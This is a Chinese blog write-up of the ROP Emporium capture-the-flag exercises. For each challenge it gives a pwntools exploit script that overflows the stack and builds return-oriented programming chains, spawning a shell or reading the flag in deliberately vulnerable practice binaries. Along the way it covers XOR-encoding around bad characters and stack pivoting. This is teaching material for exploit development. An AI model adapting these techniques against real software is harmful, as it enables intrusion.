前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >rop emporium challenges wp

rop emporium challenges wp

作者头像
用户1423082
发布2024-12-31 18:23:12
发布2024-12-31 18:23:12
4200
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

前言

下载地址: https://ropemporium.com/

虽然说简单,但是后面badchar后面的rop还是学到了不少东西的~

程序默认开启nx

代码语言:javascript
代码运行次数:0
运行
复制
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

如果是so就多开了个PIE

ret2win

直接覆盖返回地址为win函数

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *
p = process('./ret2win')
p.recvuntil("> ")
win = 0x400811
payload = "a" * 40 + p64(win)
p.sendline(payload)
p.interactive()

ret2win32

32位版

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *
p = process('./ret2win32')
p.recvuntil("> ")
win = 0x8048659
payload = "a" * 44 + p32(win)
p.sendline(payload)
p.interactive()

split

这次有个函数执行/bin/ls

我们看看字符串,刚好有个/bin/cat flag.txt

代码语言:javascript
代码运行次数:0
运行
复制
# strings ./split 
......
Exiting
Contriving a reason to ask user for data...
/bin/ls
;*3$"
/bin/cat flag.txt
......

exp

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *
p = process('./split')
p.recvuntil("> ")
pop_rdi_ret = 0x0000000000400883
call_system = 0x400810
cat_flag = 0x601060
payload = "a" * 40 + p64(pop_rdi_ret) + p64(cat_flag) + p64(call_system)
p.sendline(payload)
p.interactive()

split32

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *
p = process('./split32')
p.recvuntil("> ")

call_system = 0x08048430
cat_flag = 0x0804A030
pwnme = 0x080485F6
payload = "a" * 44 + p32(call_system) + p32(pwnme) + p32(0x0804A030)
p.sendline(payload)
p.interactive()

callme

就是依次调用callmeone,two,three,参数是1,2,3就行

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *

p = process("./callme")

# pop rdi ; ret
pop_rdi_ret = 0x0000000000401b23
# pop rdx ; ret
pop_rdx_ret = 0x0000000000401ab2 
pop_rsi_pop_rdx_ret = 0x0000000000401ab1 

callmeone = 0x401850
callmetwo = 0x401870 
callmethree = 0x401810

p.recvuntil("> ")
payload = 'a' * 40 + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_pop_rdx_ret) + p64(2) + p64(3) + p64(callmeone) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_pop_rdx_ret) + p64(2) + p64(3) + p64(callmetwo) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_pop_rdx_ret) + p64(2) + p64(3) + p64(callmethree)
p.sendline(payload)

p.interactive()

callme32

32位,栈上传参而已

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *

p = process("./callme32")

pop3_ret = 0x080488a9
callmeone = 0x80485c0
callmetwo = 0x8048620 
callmethree = 0x80485b0

pwnme =0x80487b6

p.recvuntil("> ")
payload = 'a' * 44 + p32(callmeone) + p32(pop3_ret) + p32(1) + p32(2) + p32(3) + p32(callmetwo) + p32(pop3_ret) + p32(1) + p32(2) + p32(3) + p32(callmethree) + p32(pwnme) + p32(1) + p32(2) + p32(3)
p.sendline(payload)

p.interactive()

write4

这个的话没有/bin/cat flag.txt字符串了,那么这就需要我们写到内存了

加入我们想用fgets写到内存需要3个参数,但是gadgets里面没有pop rdx的,那么就不能给第三个参数传参,那么我们可以找其他方法,通过汇编的mov看看有什么组件

我选择了下面两个,目标地址写到bss

代码语言:javascript
代码运行次数:0
运行
复制
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret

我们先写个cat flag.txt试试

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *
p = process('./write4')
p.recvuntil("> ")
# ROPgadget --binary ./write4 --only "mov|ret"
# 0x0000000000400820 : mov qword ptr [r14], r15 ; ret
mov_r14_r15 = 0x0000000000400820
# ROPgadget --binary ./write4 --only "pop|ret"
# 0x0000000000400890 : pop r14 ; pop r15 ; ret
pop_r14_r15_ret = 0x0000000000400890
pop_rdi_ret = 0x0000000000400893
bss_addr = 0x0000000000601060
call_system = 0x4005E0
cat_flag = ["cat flag",".txt".ljust(8, "\x00")]

payload = "a" * 40 
for x in xrange(0, 2):
    payload += p64(pop_r14_r15_ret)
    payload += p64(bss_addr + x * 8)
    payload += cat_flag[x]
    payload += p64(mov_r14_r15)

payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(call_system)

p.sendline(payload)
p.interactive()

我们直接写个sh试试,只贴payload 当然你改成/bin/sh\x00也可以

代码语言:javascript
代码运行次数:0
运行
复制
get_sh = "sh".ljust(8, "\x00")

payload = "a" * 40 
payload += p64(pop_r14_r15_ret)
payload += p64(bss_addr)
payload += get_sh
payload += p64(mov_r14_r15)

payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(call_system)

write432

这个也是类似的

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *
p = process('./write432')
p.recvuntil("> ")
# ROPgadget --binary ./write432 --only "mov|ret"
# 0x08048670 : mov dword ptr [edi], ebp ; ret
mov_edi_ebp = 0x08048670
# ROPgadget --binary ./write432 --only "pop|ret"
# 0x080486da : pop edi ; pop ebp ; ret
pop_edi_ebp_ret = 0x080486da
call_system = 0x08048430
bss_addr = 0x0804a040
sh = "sh\x00\x00"


payload = "a" * 44 
payload += p32(pop_edi_ebp_ret)
payload += p32(bss_addr)
payload += sh
payload += p32(mov_edi_ebp)
payload += p32(call_system)
payload += "aaaa"
payload += p32(bss_addr)

p.sendline(payload)
p.interactive()

badchars

一开始一看这么简单,badchars是这几个,但是有个b和s,我们就不能/bin/sh了

代码语言:javascript
代码运行次数:0
运行
复制
void pwnme()
{
  char *v0; // rax@2
  char *v1; // ST08_8@2
  size_t v2; // rax@2
  size_t n; // ST00_8@2
  void *s; // [sp+8h] [bp-28h]@1
  __int64 v5; // [sp+10h] [bp-20h]@2

  s = malloc(0x200uLL);
  if ( !s )
    exit(1);
  memset(s, 0, 0x200uLL);
  memset(&v5, 0, 0x20uLL);
  puts("badchars are: b i c / <space> f n s");
  printf("> ", 0LL, 0LL);
  v0 = fgets((char *)s, 512, stdin);
  v1 = v0;
  LODWORD(v2) = nstrlen(v0, 512LL);
  n = v2;
  checkBadchars(v1, v2);
  memcpy(&v5, v1, n);
  free(v1);
}

那我们就要对payload加密,之后运行的时候再解密了

按照官方的提示,是要xor加密,之后再用gadgets解密

首先可以找下可以用于异或的数字,找10以内的(其实有些还是不行,比如4是传输结束,这应该不行)

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
badchars = [98, 105, 99, 47, 32, 102, 110, 115]
bin_sh = "/bin/sh\x00"
xorNum = 1
while 1:
	for x in bin_sh:
		tmp = ord(x) ^ xorNum
		if tmp in badchars:
			xorNum = xorNum + 1
			break
		if x == "\x00":
			xorNum = xorNum + 1
			print xorNum
	if xorNum == 10:
		break

运行结果,那我们选个3吧,有时候传不过去的话可能这个ascii代表传输结束什么的,

代码语言:javascript
代码运行次数:0
运行
复制
3
4
6
10
[Finished in 0.1s]

我们通过ROPgadget,找到一些组件,先将我们的/bin/sh写到bss,再去解密,再执行

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *

p = process("./badchars")
elf = ELF("./badchars")

plt_puts = elf.plt["puts"]
# 0x0000000000400b39 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400b39
call_system = 0x4009E8
bss_addr = 0x601080
# ROPgadget --binary ./badchars --only "|pop|mov|xor|ret"
# 0x0000000000400b3b : pop r12 ; pop r13 ; ret
# 0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
# 0x0000000000400b40 : pop r14 ; pop r15 ; ret
# 0x0000000000400b30 : xor byte ptr [r15], r14b ; ret
pop_r12_r13_ret = 0x0000000000400b3b
mov_r12_r13_ret = 0x0000000000400b34
pop_r14_r15_ret = 0x0000000000400b40
xor_r15_r14_ret = 0x0000000000400b30
bin_sh = "/bin/sh\x00"
xor_bin_sh = ""
for x in bin_sh:
	xor_bin_sh += chr(ord(x) ^ 3)

p.recvuntil("> ")
payload = 'a' * 40 
# mov xor_bin_sh to bss_addr
payload += p64(pop_r12_r13_ret)
payload += xor_bin_sh
payload += p64(bss_addr)
payload += p64(mov_r12_r13_ret)

# xor bss_addr's with r14
for x in xrange(0, len(xor_bin_sh)):
	payload += p64(pop_r14_r15_ret)
	payload += p64(3)
	payload += p64(bss_addr + x)
	payload += p64(xor_r15_r14_ret)

# exec system("/bin/sh\x00")
payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(call_system)

p.sendline(payload)

p.interactive()

badchars32

这个也用xor吧,这次我们异或0xff

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *
p = process('./badchars32')
p.recvuntil("> ")
# ROPgadget --binary ./badchars32 --only "mov|ret"
# 0x08048893 : mov dword ptr [edi], esi ; ret
mov_edi_esi = 0x08048893
# ROPgadget --binary ./badchars32 --only "xor|ret"
# 0x08048890 : xor byte ptr [ebx], cl ; ret
xor_ebx_cl = 0x08048890
# ROPgadget --binary ./badchars32 --only "pop|ret"
# 0x08048896 : pop ebx ; pop ecx ; ret
# 0x08048899 : pop esi ; pop edi ; ret
pop_ebx_ecx_ret = 0x08048896
pop_esi_edi_ret = 0x08048899
call_system = 0x080484E0
bss_addr = 0x0804a040
sh = "/bin/sh\x00"
xorsh = ""
xorNum = 0xff
for x in sh:
    xorsh += chr(ord(x) ^ xorNum)

# raw_input()

payload = "a" * 44 

# write xorsh to bss
payload += p32(pop_esi_edi_ret)
payload += xorsh[0:4]
payload += p32(bss_addr)
payload += p32(mov_edi_esi)

payload += p32(pop_esi_edi_ret)
payload += xorsh[4:8]
payload += p32(bss_addr+4)
payload += p32(mov_edi_esi)

# xor 
for x in xrange(0,len(sh)):
    payload += p32(pop_ebx_ecx_ret)
    payload += p32(bss_addr + x)
    payload += p32(xorNum)
    payload += p32(xor_ebx_cl)

payload += p32(call_system)
payload += "aaaa"
payload += p32(bss_addr)

p.sendline(payload)
p.interactive()

fluff

来到这的时候已经没有了mov指令了,但下面的吸引了我

mov dword ptr [rdx], ebx ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret

再找一下给rdx赋值的,但我们没法操作rdx啊 再找找,找不到啊

看下别人的wp,原来还有个–depth的参数 ROPgadget –binary ./fluff –depth 20

我们就选用这条mov

代码语言:javascript
代码运行次数:0
运行
复制
0x000000000040084d : pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret

但找不到pop r10,r11啊,返回空

代码语言:javascript
代码运行次数:0
运行
复制
# ROPgadget --binary ./fluff --depth 20 | grep "pop r10"
# ROPgadget --binary ./fluff --depth 20 | grep "pop r11"

直接找看看r11相关的

代码语言:javascript
代码运行次数:0
运行
复制
ROPgadget --binary ./fluff --depth 20 | grep "r11"
......
0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret

最后两个不就可以通过r12赋值给r11吗,在查下r12,有pop可以

代码语言:javascript
代码运行次数:0
运行
复制
0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret

而且上面有个交换r11,r10的,不也可以给r10赋值了吗

而且看了下程序,原理作者都写到一块去了

代码语言:javascript
代码运行次数:0
运行
复制
.text:0000000000400820                 public questionableGadgets
.text:0000000000400820 questionableGadgets:
.text:0000000000400820                 pop     r15
.text:0000000000400822                 xor     r11, r11
.text:0000000000400825                 pop     r14
.text:0000000000400827                 mov     edi, offset __data_start
.text:000000000040082C                 retn
.text:000000000040082D ; ---------------------------------------------------------------------------
.text:000000000040082D                 pop     r14
.text:000000000040082F                 xor     r11, r12
.text:0000000000400832                 pop     r12
.text:0000000000400834                 mov     r13d, 604060h
.text:000000000040083A                 retn
.text:000000000040083B ; ---------------------------------------------------------------------------
.text:000000000040083B                 mov     edi, offset __data_start
.text:0000000000400840                 xchg    r10, r11
.text:0000000000400843                 pop     r15
.text:0000000000400845                 mov     r11d, 602050h
.text:000000000040084B                 retn
.text:000000000040084C ; ---------------------------------------------------------------------------
.text:000000000040084C                 pop     r15
.text:000000000040084E                 mov     [r10], r11
.text:0000000000400851                 pop     r13
.text:0000000000400853                 pop     r12
.text:0000000000400855                 xor     [r10], r12b
.text:0000000000400858                 retn

最终payload

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *
p = process('./fluff')
p.recvuntil("> ")
# ROPgadget --binary ./fluff --depth 20
# 0x000000000040084d : pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
# 0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
# 0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
# 0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
# 0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret

mov_r10_r11 = 0x000000000040084d
xchg_r11_r10 = 0x0000000000400840
xor_r11_r11 = 0x0000000000400822
xor_r11_r12 = 0x000000000040082f
pop_r12 = 0x0000000000400832
pop_rdi = 0x00000000004008c3
call_system = 0x4005E0 
bss_addr = 0x601060
bin_sh = "/bin/sh\x00"
notuse = "a" * 8

payload = "a" * 40 

# mov bss_addr to r10
payload += p64(pop_r12)
payload += p64(bss_addr)
payload += p64(xor_r11_r11)
payload += notuse
payload += p64(xor_r11_r12)
payload += notuse
payload += p64(xchg_r11_r10)
payload += notuse

# mov bin_sh to r11
payload += p64(pop_r12)
payload += bin_sh
payload += p64(xor_r11_r11)
payload += notuse
payload += p64(xor_r11_r12)
payload += notuse

# write bin_sh to bss_addr (mov [r10], r11)
payload += p64(mov_r10_r11)
payload += p64(bss_addr)
payload += notuse
payload += p64(0)
payload += p64(call_system)

p.sendline(payload)
p.interactive()

fluff32

有了上一题的经验,直接找到作者内嵌汇编写的组件

代码语言:javascript
代码运行次数:0
运行
复制
.text:08048670                 public questionableGadgets
.text:08048670 questionableGadgets:
.text:08048670                 pop     edi
.text:08048671                 xor     edx, edx
.text:08048673                 pop     esi
.text:08048674                 mov     ebp, 0CAFEBABEh
.text:08048679                 retn
.text:0804867A ; ---------------------------------------------------------------------------
.text:0804867A                 pop     esi
.text:0804867B                 xor     edx, ebx
.text:0804867D                 pop     ebp
.text:0804867E                 mov     edi, 0DEADBABEh
.text:08048683                 retn
.text:08048684 ; ---------------------------------------------------------------------------
.text:08048684                 mov     edi, 0DEADBEEFh
.text:08048689                 xchg    ecx, edx
.text:0804868B                 pop     ebp
.text:0804868C                 mov     edx, 0DEFACED0h
.text:08048691                 retn
.text:08048692 ; ---------------------------------------------------------------------------
.text:08048692                 pop     edi
.text:08048693                 mov     [ecx], edx
.text:08048695                 pop     ebp
.text:08048696                 pop     ebx
.text:08048697                 xor     [ecx], bl
.text:08048699                 retn

最终代码

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *
p = process('./fluff32')
p.recvuntil("> ")
# ROPgadget --binary ./fluff32 --depth 20 
# 0x08048692 : pop edi ; mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
# 0x08048689 : xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
# 0x0804867b : xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
# 0x08048671 : xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
# 0x080483e1 : pop ebx ; ret

mov_ecx_edx = 0x08048692
xchg_edx_ecx = 0x08048689
xor_edx_ebx = 0x0804867b
xor_edx_edx = 0x08048671
pop_ebx_ret = 0x080483e1

call_system = 0x08048430
bss_addr = 0x0804A040
sh = "sh\x00\x00"
notuse = "a" * 4

# raw_input()

# mov bss_addr to ecx
payload = "a" * 44 
payload += p32(pop_ebx_ret)
payload += p32(bss_addr)
payload += p32(xor_edx_edx)
payload += notuse
payload += p32(xor_edx_ebx)
payload += notuse
payload += p32(xchg_edx_ecx)
payload += notuse

# mov sh to edx 
payload += p32(pop_ebx_ret)
payload += sh
payload += p32(xor_edx_edx)
payload += notuse
payload += p32(xor_edx_ebx)
payload += notuse

# mov sh to bss_addr (mov [ecx], edx)
payload += p32(mov_ecx_edx)
payload += notuse * 2
payload += p32(0)

# call system
payload += p32(call_system)
payload += notuse 
payload += p32(bss_addr)

p.sendline(payload)
p.interactive()

pivot

一上来我就看这了

代码语言:javascript
代码运行次数:0
运行
复制
.text:0000000000400B00                 public usefulGadgets
.text:0000000000400B00 usefulGadgets:
.text:0000000000400B00                 pop     rax
.text:0000000000400B01                 retn
.text:0000000000400B02 ; ---------------------------------------------------------------------------
.text:0000000000400B02                 xchg    rax, rsp
.text:0000000000400B04                 retn
.text:0000000000400B05 ; ---------------------------------------------------------------------------
.text:0000000000400B05                 mov     rax, [rax]
.text:0000000000400B08                 retn
.text:0000000000400B09 ; ---------------------------------------------------------------------------
.text:0000000000400B09                 add     rax, rbp
.text:0000000000400B0C                 retn

这个使用了so文件,ret2win在这个so文件里面实现,但是这个so是开启了PIE的

代码语言:javascript
代码运行次数:0
运行
复制
.text:0000000000000ABE                 public ret2win
.text:0000000000000ABE ret2win:
.text:0000000000000ABE                 push    rbp
.text:0000000000000ABF                 mov     rbp, rsp
.text:0000000000000AC2                 lea     rdi, aBinCatFlag_txt ; "/bin/cat flag.txt"
.text:0000000000000AC9                 call    _system
.text:0000000000000ACE                 mov     edi, 0
.text:0000000000000AD3                 call    _exit
.text:0000000000000AD3 _text           ends

查看pwnme函数,首先给了256大小的给你存放pivot,之后再溢出

代码语言:javascript
代码运行次数:0
运行
复制
char *__fastcall pwnme(char *a1)
{
  char s; // [sp+10h] [bp-20h]@1

  memset(&s, 0, 0x20uLL);
  puts("Call ret2win() from libpivot.so");
  printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", a1);
  puts("Send your second chain now and it will land there");
  printf("> ");
  fgets(a1, 256, stdin);
  puts("Now kindly send your stack smash");
  printf("> ", 256LL);
  return fgets(&s, 64, stdin);
}

所以我们需要先”泄露”地址咯,由于栈溢出的缓冲区大小比较少,完成泄露+执行完全不够用,所以要跳到a1去ROP,这技术叫stack pivot,栈翻转,就是让esp指向别处,在那rop

信息泄露的话,这里只有foothold_function是so里面的,而且存在got表,泄露完计算偏移就好

代码语言:javascript
代码运行次数:0
运行
复制
.got.plt:0000000000602048 off_602048      dq offset foothold_function

由于这个函数没调用,需要调用一次,got表才会存在真正的地址

最终exp

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *
p = process("./pivot")
elf = ELF("./pivot")

plt_foothold_function = elf.plt["foothold_function"]
got_foothold_function = elf.got["foothold_function"]
# 0xABE - 0x970 = 334
ret2win_offset = 334

# ROPgadget --binary ./pivot --depth 20
# 0x0000000000400b00 : pop rax ; ret
# 0x0000000000400b02 : xchg rax, rsp ; ret
# 0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
# 0x0000000000400b09 : add rax, rbp ; ret
# 0x0000000000400900 : pop rbp ; ret
# 0x000000000040098e : call rax
pop_rax_ret = 0x0000000000400b00
xchg_rax_rsp = 0x0000000000400b02
mov_rax_rax = 0x0000000000400b05
add_rax_rbp_ret = 0x0000000000400b09
pop_rbp_ret = 0x0000000000400900
call_rax = 0x000000000040098e

p.recvuntil("Call ret2win() from libpivot.so\n")
p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
heap_addr = int(p.recvuntil("\n").replace("\n", ""), 16)

print "heap_addr: " + hex(heap_addr)

p.recvuntil("> ")
rop_gadget = p64(plt_foothold_function)
rop_gadget += p64(pop_rax_ret) 
rop_gadget += p64(got_foothold_function)
rop_gadget += p64(mov_rax_rax)
rop_gadget += p64(pop_rbp_ret)
rop_gadget += p64(ret2win_offset)
rop_gadget += p64(add_rax_rbp_ret)
rop_gadget += p64(call_rax)

p.sendline(rop_gadget)

p.recvuntil("> ")
payload = "a" * 40 
payload += p64(pop_rax_ret)
payload += p64(heap_addr)
payload += p64(xchg_rax_rsp)
p.sendline(payload)

p.recvuntil("into libpivot.so")
p.interactive()

pivot32

这个有如下gadgets

代码语言:javascript
代码运行次数:0
运行
复制
.text:080488C0                 public usefulGadgets
.text:080488C0 usefulGadgets:
.text:080488C0                 pop     eax
.text:080488C1                 retn
.text:080488C2 ; ---------------------------------------------------------------------------
.text:080488C2                 xchg    eax, esp
.text:080488C3                 retn
.text:080488C4 ; ---------------------------------------------------------------------------
.text:080488C4                 mov     eax, [eax]
.text:080488C6                 retn
.text:080488C7 ; ---------------------------------------------------------------------------
.text:080488C7                 add     eax, ebx
.text:080488C9                 retn

最终exp

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
from pwn import *
p = process('./pivot32')
elf = ELF("./pivot32")

plt_foothold_function = elf.plt["foothold_function"]
got_foothold_function = elf.got["foothold_function"]
# 0x967 - 0x770 = 503
ret2win_offset = 503

# ROPgadget --binary ./pivot32 --depth 20
# 0x080488c0 : pop eax ; ret
# 0x080488c2 : xchg eax, esp ; ret
# 0x080488c4 : mov eax, dword ptr [eax] ; ret
# 0x080488c7 : add eax, ebx ; ret
# 0x08048571 : pop ebx ; ret
# 0x080486a3 : call eax
pop_eax_ret = 0x080488c0
xchg_eax_esp = 0x080488c2
mov_eax_eax = 0x080488c4
add_eax_ebx_ret = 0x080488c7
pop_ebx_ret = 0x08048571
call_rax = 0x080486a3

p.recvuntil("Call ret2win() from libpivot.so\n")
p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
heap_addr = int(p.recvuntil("\n").replace("\n", ""), 16)


print "heap_addr: " + hex(heap_addr)

p.recvuntil("> ")
rop_gadget = p32(plt_foothold_function)
rop_gadget += p32(pop_eax_ret) 
rop_gadget += p32(got_foothold_function)
rop_gadget += p32(mov_eax_eax)
rop_gadget += p32(pop_ebx_ret)
rop_gadget += p32(ret2win_offset)
rop_gadget += p32(add_eax_ebx_ret)
rop_gadget += p32(call_rax)

p.sendline(rop_gadget)

p.recvuntil("> ")
payload = "a" * 44
payload += p32(pop_eax_ret)
payload += p32(heap_addr)
payload += p32(xchg_eax_esp)
p.sendline(payload)

p.recvuntil("into libpivot.so")
p.interactive()

其实栈翻转我们一般用leave;ret,上面64位有0x0a,所以用不了

上面的stack pivot可以用如下payload:

代码语言:javascript
代码运行次数:0
运行
复制
leave_ret = 0x080486a8
p.recvuntil("> ")
payload = "a" * 40
payload += p32(heap_addr - 4) # 因为后面的leave会pop ebp,所以这减4
payload += p32(leave_ret)
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017-12-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • ret2win
  • ret2win32
  • split
  • split32
  • callme
  • callme32
  • write4
  • write432
  • badchars
  • badchars32
  • fluff
  • fluff32
  • pivot
  • pivot32
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档